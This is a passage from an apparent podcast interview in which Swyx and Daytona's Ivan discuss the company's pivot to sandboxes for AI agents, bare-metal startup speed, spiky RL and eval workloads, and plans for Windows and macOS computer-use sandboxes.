‘cause it can be misleading ‘cause people usually think about sandboxes as a demo or a test environment versus a production-grade environment. But what Daytona does, if you think of the laptop that you have in front of you or the computer that's over there, or, my wife is an architect, so she has like a Windows with a 3D graphics card inside to do 3D rendering. Like, as humans, we have different computers or different compositions of computers. And our belief is strongly that agents today and going forward will need all these different compositions of computers to do different types of tasks. And so we offer that basically through an API.Swyx [00:06:19]: Yeah, to give people - I'm trying to sort of front-load all the aha moments or the wow moments so that people can, stay engaged and click like and subscribe. the market is exploding, right? Like, you have been reporting 74% month-on-month growth, and it also, it's just been growing for a while. Like, it's been going like this. And every single - It's not just you guys. It's every single.Ivan [00:06:41]: Everyone, yeah.Swyx [00:06:42]: Sort of, compute provider. I don't know if you agree with me saying compute provider or not.Ivan [00:06:48]: It's fine.Swyx [00:06:48]: Yeah. So like organically PLG-driven growth, but also enterprise is doing super well, I think I wanna rewind to January of last year when you did the pivot. Like, so you obviously called this market early, and you were positioned for it, and you are now one of the market leaders. But what was the insight that made you do the pivot?The Pivot: From Human Dev Environments to Agent SandboxesIvan [00:07:06]: The insight that made us do this pivot is the quarter before that, so end of 2024, when we had - Basically, we did a demo with - I don't I think we discussed this as well, Devin was not public. You actually gave me access to Devin at that time. So Devin.Swyx [00:07:25]: I did?Ivan [00:07:26]: Yeah, you gave me access.Swyx [00:07:26]: I don't think I was supposed.Ivan [00:07:27]: Yeah, exactly.Swyx [00:07:28]: Yeah, I.Ivan [00:07:28]: So it doesn't matter. You.Swyx [00:07:29]: Yeah. I gave like three friends access.Ivan [00:07:31]: Yeah, or it was a call and you showed it to me. It doesn't matter. but OpenDevin was available, which is now called OpenHands. And so we're like, “Oh, this seems to be a thing. This is not public. Let's take our for human automation of dev environments and take, OpenDevin and launch that as a SaaS.” And we did that. Not very many people signed up and used it, but a lot of people reached out that were building agents, and they were like, “Hey, my agent needs a compute sandbox runtime,” whatever you wanna call it. I forgot what it was called at that point. And then we were like, “Oh, amazing. This is a new market. Here is our infrastructure. Here's our product, and go.” And what we found really fast, soon, was that people did not like what we had built. It didn't work. And I remember talking to people at the beginning when we're doing this, the sandbox we're building for agents. People were like, “Oh, why is it different? It's the same thing. We have like EC2, we have VMs, we have all these things.” But we saw that everyone we gave it to, it was like 20, 30 people, they all said, “No.” Like, “This is not what we need. This sort of breaks.” And basically, me and my co-founder not knowing a lot about - ‘cause we're infra people. We're not AI people. So I basically took it upon myself to like watch every single podcast that exists, including all of, all of these and all that, and sort of get up to date, read all the blogs, like get, understand what's going on.Swyx [00:08:45]: Do you wanna shout out who else was useful, just in case people are also looking.Ivan [00:08:49]: Generally we -, I looked at There's a few of podcast, different segments and different types. So there's you guys, No Priors, Bill Gurley's was great while.Swyx [00:09:04]: VG2, yeah.Ivan [00:09:05]: Yeah, while it was around. So there's a few. 20VC is interesting from a different dynamic, and some are different dynamic. But there was, also Red Points.Swyx [00:09:14]: We're not really about the compute market.Ivan [00:09:15]: It was also already - Sorry?Swyx [00:09:16]: You're, you want - You're looking at the agent infra market.Ivan [00:09:19]: I was looking at the agent market and the AI market in general and sort of understanding who are the players, what the perception, and how that goes. And like obviously you complement this with like going to conferences, going to events, going to meetups, reading white papers, like doing all the things that you have to do to understand what's happening. And so when we figured, when we sort of had an idea of what we had to build, literally over the New Year's Eve, literally on New Year's Eve, I half vibe coded the first MVP, first minimal viable product of what Daytona is today. And I went to sleep at like 3:00 AM or something like that. I was doing - I just put my like baby daughter and wife to sleep and, Happy New Year's, and go back to just, doing this. And I sent it to my co-founder, my CTO, and he saw it in the morning. He's like, “This is absolute garbage.” “Do not show this to anybody at all, but the idea is good.” And so he took two weeks, and he rebuilt it.Swyx [00:10:09]: Did it like look like that? Listen, I - It was rough idea.Ivan [00:10:12]: Oh, not even, not even close. Like it was it was way worse. But it was like a very - It was a simplistic view of what it should be. Like, it worked, but it was not ideal. And so he went, we went down the whole, which is his job as CTO, to go, and he came back with this version. We then called all the people that had said like, “This is garbage,” a quarter ago. And we set up these calls, and we gave it to - We just demoed it to everyone. And all the calls went long, every single one. They were 15-minute calls, and they all went to like 25, 30 minutes or whatnot. And everyone said, “We need, we want access.” There was no login, just an API key, ‘cause it was just a beta or an alpha. And they said, “Oh, we want access.” And we're like, “Sure, yeah. Okay, thank you very much.” But after like the next day, if we'd not send it, every single one, like every call that we did, everyone came back, “Where is my API key?” Like everyone wanted it. We're like, “S**t.” Like this is it. Like I've never felt So one, the understanding to your point was like most people thought it was the same infrastructure for humans and agents. We understood a quarter ago it's not. We just didn't know what was the right primitive. And then when we came, and we can talk about what that is, and we gave it to these people, I've never seen, I've never experienced - I've done multiple companies in my life. I've never experienced this, that people literally call you if you do not give them access. Like they want access right now. And so it's like, okay, they don't want this. the thing that they want doesn't seem to exist, or they have not found it, and they really want what we want. And then when we understood that we're onto something, and then when you think about the size of the market, like the market for human engineers and enterprise is a very large market, so think GitLab or whatnot. But the market for every single agent that will exist ever in the future is just like, what is that market? How big is that? And we're like, “We are all in on this.” And so that is where we made sort of the cut between the old product and the new one.Bare Metal, Stateful Sandboxes, and the Lambda + EC2 ModelSwyx [00:12:02]: Yeah. But it wasn't composable at the time?Ivan [00:12:05]: It was very - It was basically just a Linux box that you could change, that you could define number of CPUs, disk, and RAM. Like that is what you could do, but you couldn't have multiple operating systems, you couldn't resize it on the fly, you couldn't add a GPU, you couldn't do like all the things. It was just the, just the first sort of variation of that, yeah.Swyx [00:12:22]: Was it bare metal from the start?Ivan [00:12:24]: It was bare metal from the start. And so the interesting thing that we thought about right away, so our.Swyx [00:12:29]: Which, give people the background, what is the normal path?Ivan [00:12:32]: Yeah, so, basically most providers run this on top of VMs. And also.Swyx [00:12:37]: Firecracker.Ivan [00:12:38]: Yeah, they run on Firecracker and VM. And so we also fire - We can get - We have multiple isolation layers and we can do that. But the common way to do it is that they, one, that the state of the machine, or the hard disk is not part of the sandbox itself. And the other thing is they're not meant to last forever. So most of them are preemptible, like they can There's a time that they can live. And so our thought was when we were going into this is, agents will be like humans in the sense of you don't want your laptop to be shut down until you're done with work. Like, and you want to close the lid and open the lid, it's the same state. So you - Agents would want that, like the pause and come back. They want those two things. But also agents really want speed, right? Can they get it? So when we thought about it's like we need something insanely fast, how to make it fast, how to make it long-running, and stateful. And so those two things, it's like combining a Lambda and an EC2, right? Those two things together. And so we didn't have an idea how others did it, ‘cause we didn't know too that there was a market around this. It was more like, okay, this is what we need, what they need. And we looked at Kubernetes, it wasn't wasn't good enough for that. We looked at Nomad, it didn't enable that. And so our history in rewriting our own scheduler at CodeAnywhere is basically what my CTO came up with. Like, he's like, “Oh, the learnings from there,” and he brought it. And the funny thing is, our third co-founder, when he saw it, he's like, “Dude, what is this? This is like 2008.” Like, we went back in time, and he's like, “Exactly.” And so the reason why Daytona is like super fast, and you see this on benchmarks, is we essentially, we run on bare metal. We have our own scheduler, we use the underlying, disk, CPU, and RAM of the underlying machine, which means your IOPS are insanely fast because there's no, there's no network between an EBS or something like that. But also the snapshot, the point in time, the templates, are also preloaded on the bare metal machines. So when you fire off a sandbox from a template or a snapshot, you're essentially directed to the bare metal machine where that snapshot is based on that NVMe drive, and then it literally just turns on that machine, and it's local. There's no network latency, anything on there. And so that is sort of the specificities that we, when we're thinking from first principles, what a computer would look like for an agent, that is what we came up with, and that's what we created.Benchmarks, 60ms Startup, and 50,000 SandboxesSwyx [00:15:02]: Yeah. I should maybe, I don't know if you endorse this, but there's someone that does compute SDK, you guys do very well on there, with like the TTI, right? I. is this a, is this a is this a relevant benchmark for you guys? I don't know.Ivan [00:15:16]: I don't know, and it changes every day. So today RKL is.Swyx [00:15:18]: I don't know what RKL is. Never heard of it.Ivan [00:15:20]: Yeah. RK, yeah, so it is there.Swyx [00:15:22]: You are, at least a third of the next tier of performance, and then, there's a lot of other better-known names that are very slow to start.Ivan [00:15:31]: Yeah. We've been the number one by far for a long time, and now there's different, there's different definitions also of sandboxes, different isolation patterns, different other things. So RKL runs it literally on the S3, the data, so it's very different, and they spin up a sandbox, spin up a container for that, so it's a different type of thing. So the definition of a sandbox is something that we can all, we all need to get along with. But yeah, we're insanely fast on getting these things, up and running. And so you can see even there that it's a zero point 0.10 to 0.11, so.Swyx [00:16:03]: Close enough. Yeah. what else do you need, right?Ivan [00:16:05]: Yeah. So the benchmarks itself, so, in this, in I don't think the benchmarks equate to market ownership or revenue or anything like that. and I've seen this with multiple benchmarks, not just in sandboxes, but in general benchmarks around.Swyx [00:16:20]: It's table stakes. It's just like.Ivan [00:16:21]: Exactly. But it doesn't hurt.Swyx [00:16:22]: Just roughly check.Ivan [00:16:22]: Like you definitely have to be up there and you have to be competing so that people know that, oh, this is definitely one of the top. Because this is only one dimension of what customers look for. There's other things like how many can you spin up consecutively? There's a feature set, there's support, there's like all different things that people look at, but you definitely have to be there, on the benchmarks.Swyx [00:16:40]: How many people do people spin up consecutively?Ivan [00:16:43]: So we have.Swyx [00:16:43]: Or concurrently, is the Concurrency, right?Ivan [00:16:45]: There's three metrics that we look at. And so one is like time to spin up one, and so our time to spin up one is 60 milliseconds with network latency. So request, spin up, reply, 60, the whole thing, 60 milliseconds. That is one. But if you wanna spin up 50,000 at once, we are now at about 75 seconds. So it takes about 75 seconds to spin up concurrently 50,000. Some others, there's public data around this, like take 2,000 seconds, which is 30 minutes. Like there's different variations of that. And then there is the so it is speed of one, speed of like multiple, and then how many can you consistently have up and running. And so we basically have right now no limit to how much we can add because we basically own our own metal. But the biggest customer of ours does like about 850,000 every single day is sort of where they're, where they're just shy of a million every single day that they're running, we do have a request for half a million concurrent, which is literally half a million CPUs somewhere running. So that's an interesting.Swyx [00:17:44]: They pay by like vCPU seconds.Ivan [00:17:47]: By seconds, yeah.Swyx [00:17:47]: Or whatever. Yeah. Okay, and so and then, and the other thing is, the sleeping and the resuming, ‘cause it's all the stateful resumption of all these things, how, what kind of workload are people putting through this, right? Like how is it Do we measure by gigabytes in memory, gigabytes in storage? I don't In like network attached storage. I, what are the costly ones of, out of all these features?Workload Economics: CPU, RAM, Network, and StorageIvan [00:18:15]: The most expensive thing are CPU.Swyx [00:18:18]: Okay. Yeah, of course.Ivan [00:18:18]: The second one, yeah Then it's RAM, then it's disk. We actually don't charge.Swyx [00:18:22]: Which is snapshotting, right?Ivan [00:18:23]: No, it's actually the, snapshotting's part of it, but basically the size of your hard disk, of your machine. So do you have 10 gigabytes, do you have 20, do you have 50, do you have whatever? And then the transference of that. Right now, currently we don't charge for, network at all at Polychron.Swyx [00:18:37]: Oh, you gotta, yeah, you gotta fix.Ivan [00:18:38]: Yeah. It is very much a it's a larger and larger part of our bill, so we're working around, that part there. Obviously, that is the least, expensive, so the hard disk is the least expensive, so it's basically CPU, RAM, for us network, ‘cause we don't charge the customer, and then hard disk, is how it's split up. But there's also different types of workloads, so we basically split it up into two types of workloads in Daytona. One is what we call background agents or long-running agents. and the other is, basically RLs and evals, which I put sort of together. And so they have very different patterns of usage, and if you look at the usage of a background And I'll just name names of companies, not specifically.Background Agents vs. RL/Evals: Two Usage ShapesSwyx [00:19:21]: Yeah, open, all hands.Ivan [00:19:23]: Yeah. So like a background agent's a Cognition, a Lovable, a like all these things are Harvey. These are all long-running, background agents. And so if you look at their usage patterns, their usage patterns are similar to human, which is like follow the sun. Basically, the usage patterns of that is like noon is probably the highest, and the midnight is the lowest, and then weekends are lower. weekday is higher.Swyx [00:19:42]: Yeah, that's a fun question. How global is it? Is it very US-centric or?Ivan [00:19:46]: The US is a large part, but we have currently, we have Asia, Europe, and the US regions.Swyx [00:19:52]: So it's quite global.Ivan [00:19:53]: Yeah, it's quite global. We have it all over. It's interesting that our I talked to you a bit about this. Our number one city by user.Swyx [00:20:01]: Hmm.Ivan [00:20:02]: Is Singapore.Swyx [00:20:04]: Oh, wow. Amazing.Ivan [00:20:05]: Which is an interesting one, right? Not by revenue, just by just like by individual head count.Swyx [00:20:09]: Really?Ivan [00:20:09]: Just like an interesting thing.Swyx [00:20:10]: Singapore is, Singapore is weirdly high in the adoption charts of AI for the population. It's like an, seven, eight million population. And it's like keeps showing up.Ivan [00:20:20]: No, it's quite interesting. We were quite shocked, and I was like, “Oh, this is interesting.” And also one that's up there.Swyx [00:20:24]: There's a reason I'm doing AI using Singapore. it's because I'm from there.Ivan [00:20:27]: We're there. We're gonna, we're gonna be there as well. and it's interesting that Japan is in the top or like Tokyo's in the top, which is in all the tech cycles it has never been. It has never been, so it's quite interesting that they're.Swyx [00:20:39]: I think the Japanese just love AI. Yeah. It's that, and then it's Brazil. That's it.Ivan [00:20:44]: Brazil has always been in.Swyx [00:20:45]: I think.Ivan [00:20:46]: Even when I look, if you look at like GitHub's data and ask historically with CodeAnywhere, it was always like US, Western Europe, and then you'd have like India, Brazil, China, like that would be there. But like Singapore was not in, specifically Japan was never in sort of that top, that top.Swyx [00:21:01]: Yeah. Weird pockets.Ivan [00:21:01]: Weird. Yeah, so it's very global.Swyx [00:21:02]: Okay, so actually that, but that's helps you to distribute your load through, all time?Ivan [00:21:08]: The interesting thing is like we have those kind of loads, but if you look at the researcher loads, they're quite different. So what they are is like if you give them concurrency of 10,000 or 50,000 or 100,000 CPUs at ARMb, when they fire off a run, it's just 100%. And then it just runs, and then it stops. So it's very, the usage pattern is squares basically, right? And it's also not follow the sun, because people will fire it off at midnight before they go to sleep but then wake up and so it's very unpredictable, so you don't know where that is. So the shapes of the usage are quite different than we have had before. And also what's interesting is when it's sort of a follow the sun, even if you have a high growth company, you can sort of predict your usage patterns and have enough capacity for that, because it's sort of, it grows in a, in a way you can project. When you have companies doing sort of like evals and RL, they're super spiky. So they're gonna come in, it's like, “We're gonna use nothing, then can we have 100,000?” Right? And then go back down. And then 100,000, go back down. So it's very different, right? And.Swyx [00:22:09]: Do you want to lock them into commits so.Ivan [00:22:11]: Yeah, we do.Swyx [00:22:12]: Yeah, okay.Ivan [00:22:12]: We so we have to lock them into some sort of commits to have that capacity, because we have to have, basically we have to have the capacity for peak. Right? And so right now, Daytona's mean utilization is 15%, 1-5.Swyx [00:22:25]: Oh my God.Ivan [00:22:26]: So it's very low.Swyx [00:22:27]: Because it's very spiky.Ivan [00:22:27]: It's very spiky, but we get up to 90%. so we have these things. And so what we're, what we're looking at right now as a company is similar to Cloudflare where you can like geo move things around, but that works really well for basically the background agent where it's follow the sun. But this, it's not. Like it's a very different shape. Obviously with scale you figure these things out, but that's an interesting new problem that we have, as a compute provider in the agent space. And when we were doing the conference recently, and so we talked to like Nikita from Neon and.Swyx [00:22:57]: I should bring it up.Ivan [00:22:58]: Parag from Parallel and whatnot, everyone has the same problem. Whereas the usage is super spiky, and this is something that has not happened before, that you have these types of like it was always, it the amplitudes were not this high, right? So it's quite interesting use case and problem solve.Compute Conference and Spiky Agent InfrastructureSwyx [00:23:12]: Yeah, I don't know if we're gonna bring this up again, but let's just talk about the conference, you had like 1,000 something people at the Warriors game, at the Sorry, where is it? What's.Ivan [00:23:22]: Chase Center.Swyx [00:23:23]: Chase Center.Ivan [00:23:23]: Chase Center.Swyx [00:23:24]: I went. It was, it was very impressive. Obviously, you can, how to throw a conference, what did you learn? you put, you pulled together all these impressive names.Ivan [00:23:33]: What I.Swyx [00:23:34]: What were you looking for?Ivan [00:23:35]: My thesis behind the Compute Conference was let's bring together people that are building infrastructure for AI agents. Because when I think of what we're building, it is the agent is the primary user, what are the ergonomics and usage patterns of agents, and so we can do that. And what I found, this was a theory, it wasn't proven, is that we all have these problems, as I touched onto. And I was, as I was talking on stage, it was like we all have the same underlying infra problems, which is this spiky workloads, unpredictable workloads that we've never had before, in human, compute or human infrastructure. And it's, again, it's the same when I was talking to Parag or when I was talking.Swyx [00:24:20]: Lynn. Nikita.Ivan [00:24:21]: Lynn, Nikita. Lynn especially, I was talking to her the other day as well. Like the It is a very interesting type of problem to solve because I can touch on Cloudflare because there's a lot of like talk about that recently as to how they solve that, which is they have a bunch of geos, and basically, as users work in different places, and depending on your tier, they can move you around the geos. And so that how, that's how they get the higher utilization. But you can sort of predict these, and it's If it's something in You'll rarely get a spike that is 10 orders of magnitude. Like you'll get a like let's say one of your customers has some like an exponential curve. What is that to I'm using Cloudflare as an example. 10%, 20%, whatever it is. I don't, I don't have this data, I'm just assessing. It's surely not 10x, right? It's surely not something there. And so how do you go out and solve this problem? And we're all solving this in different ways. So we have.Swyx [00:25:11]: She also has the same thing.Ivan [00:25:12]: Yeah, I know specifically that like Neon had that issue as well. Like how are we solving these spiky loads and things like that ‘cause we talked about it. And so the interesting thing for me to actually internalize was, yes, everyone that's building for agents first is going through this, and we're all solving similar problems, which is quite.Swyx [00:25:28]: Let me let me double-click on this. Okay. So for example, Neon, I happen to know that they're very sort of S3 oriented, right? so they're just like fully bet on S3. And you get to benefit from S3's distribution and infrastructure. So I would imagine that Neon doesn't have to care, whereas Lynn maybe has to care a bit more because obviously she's doing GPU inference. And, for listeners, we did an episode with her, one and a half years ago. And you have to care. But like, right?Ivan [00:25:54]: Parag cares for sure, and Nikita.Swyx [00:25:58]: And Parag is C of, Parallel.Ivan [00:25:59]: Parallel, yeah.Swyx [00:26:00]: Former CTO of Twitter.Ivan [00:26:01]: Twitter, yeah.Swyx [00:26:02]: They are the search.Ivan [00:26:03]: Yeah, they're search, yeah.Swyx [00:26:03]: I You and I know but the listeners don't know.Ivan [00:26:08]: Yeah, we can put it down in the screen, and so ‘cause we, when we were talking.Swyx [00:26:11]: I'll put it up on the, on the screen.Ivan [00:26:12]: Yeah, right.Swyx [00:26:12]: People can look it up if they need.Ivan [00:26:14]: Look it up. And, yes, but they still have CPU and RAM, allocation that you have to have up and running. And so CPU and RAM, you have to allocate that and have that ready. And so there's basically two ways to do it. One is you either over-provision and you can handle the bursts, or two, you basically have, I don't know if this is a term, just-in-time compute, which is like as your load becomes, as your usage comes in, you can fire off requests for VMs or bare metals at other cloud providers and then get them up and running.Swyx [00:26:43]: This is if you go above 100%, right?Ivan [00:26:45]: Yeah, this is.Swyx [00:26:46]: Like your overflow.Ivan [00:26:46]: If your overflow, like spillage or whatever you do.Swyx [00:26:48]: You probably lose money on it, but it doesn't matter, right?Ivan [00:26:50]: It, not Well, you might, you might not That is a more cost-effective way to do it but it's a slower way to do it. Because basically what you have to do is you have to like queue your requests, spin up these just-in-time compute, get it all ready, provision it, and then get your workload there. And so if the time isn't important that much, that's fine, and you can do that. But if your customer, and especially for, let's say, the RL training runs, the reason why a lot of people come to us is because GPUs are more expensive than CPUs, right? So you want your GPU running at, what, 100% the entire time. And so when you're running runs on CPUs, when the when the CPU cycle is like down and spinning up the next one, you want that to be instantaneous so that your GPU doesn't go down, right? And if you then have to like go out and provision machines, you're essentially telling the GPU that it has to wait, and that's incurring our cost. So there's things that you have to try to solve for there.RL Workloads, Declarative Images, and Kubernetes ReplacementSwyx [00:27:43]: Yeah, let's talk about the different workload, right? You said that, what was it? A few months ago, you had zero RL workload and now it's 50%.Ivan [00:27:52]: It will be this one, 50%, yeah.Swyx [00:27:54]: Let's talk about how different it is, right? Like I imagine, for example, a lot less dynamic code generation of like arbitrary code. Like here, it's probably all the same code. You're just doing parallel runs or something, I don't know.Ivan [00:28:05]: Yeah. So you'll have multiple Depends on the like for each run, you'll have a snapshot. And they, for the most part, they actually do use our declarative image builder, which is like, “Oh, we, the agent wants these dependencies, these env vars.”Swyx [00:28:17]: These ones, yeah.Ivan [00:28:18]: Yeah, the declarative image builder, it.Swyx [00:28:20]: Which is a very modal like thing that they.Ivan [00:28:22]: Yeah. And so we build it on the fly and then we propagate that snapshot, and you can spin up as many sandboxes as you want against that snapshot. And then if you have to do changes, the model can, or like it could be also be automated. It's like, “Oh, now for the next run, we need to install these things or remove these things or whatever to get, a task done,” and then it goes off and runs that. So yes, that is something that it seems that they prefer. The number one reason I found, or should I say, let's take a step back. What we are competing against in that environment is essentially managed Kubernetes. So EKS, GKE, whatever. That is what the vast majority run on. And anyone that has tried Daytona versus GKE, EKS is like, “I'm never going back.” That has always been. There's a few reasons. One is the ergonomics. So if you have, if you're using Kubernetes to spin that up, you have to essentially manage the interface interactions with that. Daytona, although as a compute provider, it's more akin to a Twilio and Stripe from a consumption perspective than it is an AWS. Like you have an API, an SDK, it's quite like easy and seamless to get these things up and running, that's one. The other is the speed to which we spin up, which we mentioned earlier, which is much faster, and the scale to which we can go to. We haven't got into features, but an interesting feature is that it's very hard to OOM, or out of memory, our sandboxes, because we can dynamically on the fly.Swyx [00:29:48]: Resize.Ivan [00:29:49]: Resize, which is like impossible on almost any other thing. There are some technologies that enable you to do that, but it's like a very hard thing. And so we actually saw this when, the Terminal Revenge team is, brought us actually. So thank you, Alex and the team, that brought us into this whole space.Swyx [00:30:05]: It's just very rare that, a framework would just say, “Guys, just use Daytona.”Ivan [00:30:11]: Yeah, I think it says it somewhere. Yeah.Swyx [00:30:13]: Yeah. I was like, “What is this?”Ivan [00:30:15]: There's all, there's multiple there, but they also mention a few other places. and so Daytona specifically-We have, the, just jumping on themes here We, I don't know where it says Data Center.Swyx [00:30:27]: I, there.Ivan [00:30:27]: Doesn't matter.Swyx [00:30:28]: There's a very strong recommendation, which is, very unusual. Which is, it's.Ivan [00:30:33]: We do not pay them for this, just.Swyx [00:30:34]: I know, yeah. They just like you.Ivan [00:30:35]: Yeah, they like us. yeah, and also a thing, so, Data Center has multiple isolation sets underneath. The customer doesn't have to know what they are. But basically we have Docker, which is a container, that's hardened with Sysbox. So it's Docker's, isolation that is a security equivalent to a VM, but it's still a container. And that is the default, and they, especially in these training workloads, really like that as an interface to be able to use just a basic Docker container, and we enable Docker and Docker. Which for these RL runs, if you need to do a Docker compose or Kubernetes, you can spin up a K3S inside of these things, which unlocks a huge amount of workloads that you can do that you cannot do on other providers. So just on that part is much more interesting. And so we went that, through that. We showed them that we could do that, and they enjoyed that quite a bit. They being the general venture people.Swyx [00:31:28]: Those people, yeah.Ivan [00:31:29]: And Harbor people.Swyx [00:31:29]: Harbor people, do are they, are they a company yet?Ivan [00:31:33]: As far, I do not know.Customer Pull, Slack Connect, and the Computer Use BetSwyx [00:31:35]: Okay. All right. Yeah. It's like super obvious that like, there's a lot of excitement and success around these things, okay, so yeah, tell us more, right? Like, this is an exploding workload, Harbor adopted you, which helped speed things along. But what are you learning as this new workload comes online?Ivan [00:31:53]: There's a couple things that we learned, which we chat about in the beginning. We, and this has led our story, as we mentioned, we like talked to a lot of customers along the way, and we add more features and more tool sets as we talk to customers. And it's interesting that And I think it's that the ecosystem is so small and/or the models get smarter, where when we see one user come with a request, we know it goes on a roadmap if like three to five customers come with the same request in that week. It's like very bizarre. It happens so many times, which is.Swyx [00:32:27]: Because they're all friends.Ivan [00:32:28]: Sorry?Swyx [00:32:28]: They all, they're all friends. They're all in the same group chat.Ivan [00:32:30]: Yeah, probably, yeah. ‘Cause and they're like, “Oh, can you do this?” And I'm like, “Okay, this is interesting. We'll put it on a feature request.” And then the next one's like, “Oh, can you do this?” “Okay.” It's all the same, right? It's always the same. And so what we try to do, and I personally try to do, I try to be on as many call, quote-unquote “sales calls” I can. I'm in every Slack channel. We literally have about 1,000 Slack Connect channels, something like that. It's an interesting, there's so many interesting things you find out when you have all the Slack channels. You can also see where people, transfer between companies. You see leave Slack channel, enter Slack channel. It's an interesting thing. Also, just I digress, I feel that Slack Connect is literally LinkedIn what it should be. You have a list.Swyx [00:33:08]: LinkedIn charges you to, use your own connections, but Slack doesn't, right? Slack is like, do it for free. It's more lock-in. It's great.Ivan [00:33:15]: Yeah. It's amazing. Yeah. It's one of the reasons.Swyx [00:33:17]: You're gonna pay Slack for life.Ivan [00:33:18]: Exactly. You're there for life. So that's interesting. And so one of the things, the newer things we were talking about earlier is we made a big bet and put a lot of investment on computer use. that is not seen publicly the light of day. We haven't GA'd that yet, but we have.Swyx [00:33:32]: Is there a thing I can pull up?Ivan [00:33:33]: There is computer use there. It's right up a bit.Swyx [00:33:36]: Oh, yeah. Okay.Ivan [00:33:38]: What we have, what we talked about and what we've seen publicly is there's this theme now about, the human emulator where And Elon from XAI has talked about this publicly, and if you think about the models today, they're actually quite sophisticated and they can do a lot of work, but they still don't have access to all the tools. Like, I'm a strong believer that the most efficient way for an agent to work is essentially headless or through, terminal or whatnot. But if we, if we look at knowledge work in general, there's about 100 million knowledge workers in the US, about a billion in the world, and knowledge workers, and the salaries of them aggregate to 10 trillion in the US 50 trillion worldwide.Swyx [00:34:24]: Wow.Ivan [00:34:25]: Something like that. And if we look at, the five most important sectors of that, so like healthcare and government and financial services and whatnot, that's about 56% of that. So let's say it's about half of that. So in the US it's about 25 trillion, and most of them, most of that work is actually still locked into legacy apps inside of Windows, which is not going anywhere for a very long time. Like, people just won't invest in that. How much of it? our assumption is the following: if, in the RPA market, which is similar market, well, not the same 25% of, these white collar, workers', work is automated. If an agent is more sophisticated, can go through more runs, figure stuff out, let's say it's, 40%, right? And so if you take 40% of that, you get to essentially, $10 trillion a year.Swyx [00:35:17]: That's a TAM.Ivan [00:35:18]: That is a that is a TAM. So that's the TAM of the models, right? That's not our, essentially ours. But you get to that size, and to be able to do that, you essentially have to give agents these computers with the legacy. So computer use, either Mac or Windows or Linux. Linux we also obviously have and others have. But Windows specifically is something very new, and the only option right now is an EC2 with, Windows or on Azure. Both of them take anywhere from three to five minutes to spin up. We've created an actual sandbox, so it's a second instead of milliseconds, but you have, point in time snapshots, you have, forking, you have all the things that you have from a sandbox, but essentially enables you to hopefully unlock all this value. And so that's been our big push and bet, but we've sort of, kept our ear to the ground. What is sort of the next things in the market?RPA Returns: Why Agents Still Need ComputersSwyx [00:36:06]: Yeah, knowledge work, and building, and sort of RPA, the next wave of RPA. I got very excited about RPA kind of during COVID times. The UI path was IPO-ing. And it was, a very hot Isn't it, Eastern European?Ivan [00:36:20]: It is, Romanian.Swyx [00:36:21]: Romanian?Yeah, it might be the only Romanian, big unicorn okay, yeah. This I don't I don't, I don't have like a I think there's, I think there's a stage being set for the resurgence of RPA, ‘cause everyone understands that, yeah, no one wants to deal with these shitty apps and no one's gonna rewrite them. Like, you just have to do, a remote operation and programmatic operation of them.Ivan [00:36:45]: If you wanna unlock it, my own setup was basically the following. So I was doing a board deck recently, last month, whatever, and I'm like, “Okay, let's just, let's just do automated.” So, all our data's in, ClickHouse and PostHog and QuickBooks, where everyone else's is, and I'm basically, connected that all to, my Cloud code, like go off and go Cloud code whatever. Go off and, here's the integrations, go do that. It pulled out the first report, which was great. It connected to Brex and all these things, pulled it, which was great, and then I say, “Okay, now pull out this, and this,” and I kept getting, really well McKinsey-style design reports, but the data said partial data. all the missing data, partial data. Like, it can't access all the things, and I got so frustrated, and so I got, I got, my Mac Mini virtual sandbox with OpenClaw. I gave it its own account in our company, and then I went to all these services and created a read-only account, so literally like an intern in your company. And so I would say, “Now go and do this report,” and it would get the same, or like, “I can't via the MCP or the API or whatever. I can't get all the information.” I'm like, “Go log in.” And it will log into the website, then go in, export the data. It'll export the data and do the thing end to end. So even for things that have today APIs, not all of it is exposed, and I to get value, I get immense value right now, but it has to be a computer usage, unfortunately, and so I spend a bunch of tokens just on that, but I get the job done. And so if even a startup like ours, and using all the hottest tools, still needs a computer agent what hope does, Goldman have to have a headless, right?Swyx [00:38:22]: Yeah, what a - Why isn't Microsoft doing this?Ivan [00:38:27]: I'm pretty sure, Satya had a post yesterday.Swyx [00:38:29]: Oh, okay. I see.Ivan [00:38:29]: Which was like, “Every agent needs a computer.”Swyx [00:38:31]: I see, I see.Ivan [00:38:32]: So they have launched something recently.Swyx [00:38:34]: Yeah, they have Microsoft Power Automate, I'm sure, I'm sure, they're gonna have their version.macOS Sandboxes, Apple Constraints, and the Windows OpportunityIvan [00:38:39]: Version of that, yeah.Swyx [00:38:39]: You're gonna try to do yours, and it - I always know there's always demand for Mac, but I know it's, tricky to host, macOS sandboxes.Ivan [00:38:49]: We will have macOS sandboxes fairly soon. The problem with macOS, OS sandboxes is, I'm deep in this, I don't know how much interesting is.Swyx [00:38:55]: No, it's.Ivan [00:38:56]: MacOS has this problem.Swyx [00:38:57]: It's a licensing thing, right?Ivan [00:38:58]: Licensing thing. So one, you're allowed to run only two parallel VMs per machine, so that's one. Two, you can only license to a different user every 24 hours. So if you come in and theoretically, if I wanna charge you per second and I charge you one second, I have to have it idle for the rest of the day. I can't have anyone else doing that. So the pricing will be different in the sense that I will have to - we would have to charge for 24 hours, and that's not even, that's not even the most difficult thing. But the, thing above that is, from a security perspective, they enable you to do memory snapshot, pause, resume, but only on the same physical drive, physical machine. And so what you can do in, Windows world or Linux world is that I can move in the background, your snapshot from one to the other and manage load, right? Here, if you wanna do that, you essentially have to have your.Swyx [00:39:49]: Yeah, snapshots. Yeah.Ivan [00:39:50]: Your.Swyx [00:39:51]: It's like.Ivan [00:39:51]: Physical machine.Swyx [00:39:52]: You can't break it up.Ivan [00:39:53]: You can't, you can't move things around that, and all of that is, that part is, from a security standpoint, if it is written. Like, I understand the security aspect of that, but it disables you from doing these agentic, like really scalable agentic workloads.Swyx [00:40:08]: You need to do a vibe-coded, clean room implementation on macOS that you can then - That's like Clean OS or something. I don't know.Ivan [00:40:17]: So. We have.Swyx [00:40:18]: ‘cause like Linux was originally like a clean room rewrite of Unix.Ivan [00:40:21]: Okay. Yeah.Swyx [00:40:21]: Or something like that, right? Like same thing to macOS. Someone needs to do it.Ivan [00:40:25]: Someone will do that, and someone will have some long-running agents for a few days to figure this stuff out. But yeah. So definitely we - we're really close to offering something ‘cause people do want it, but the pricing will be different, and the feature set will be sort of stringent.Swyx [00:40:38]: Yeah, nobody's gonna use this. like, the labs, the labs will because they want to automate macOS.Ivan [00:40:42]: They have to do RL. They have to do RL again. But even if you The - So the point is with the RL part, if you, if you do RL on macOS, then the next iteration of the model comes out, it will be able to use these tools significantly. Then you actually need to run those, that somewhere. So you're gonna have to 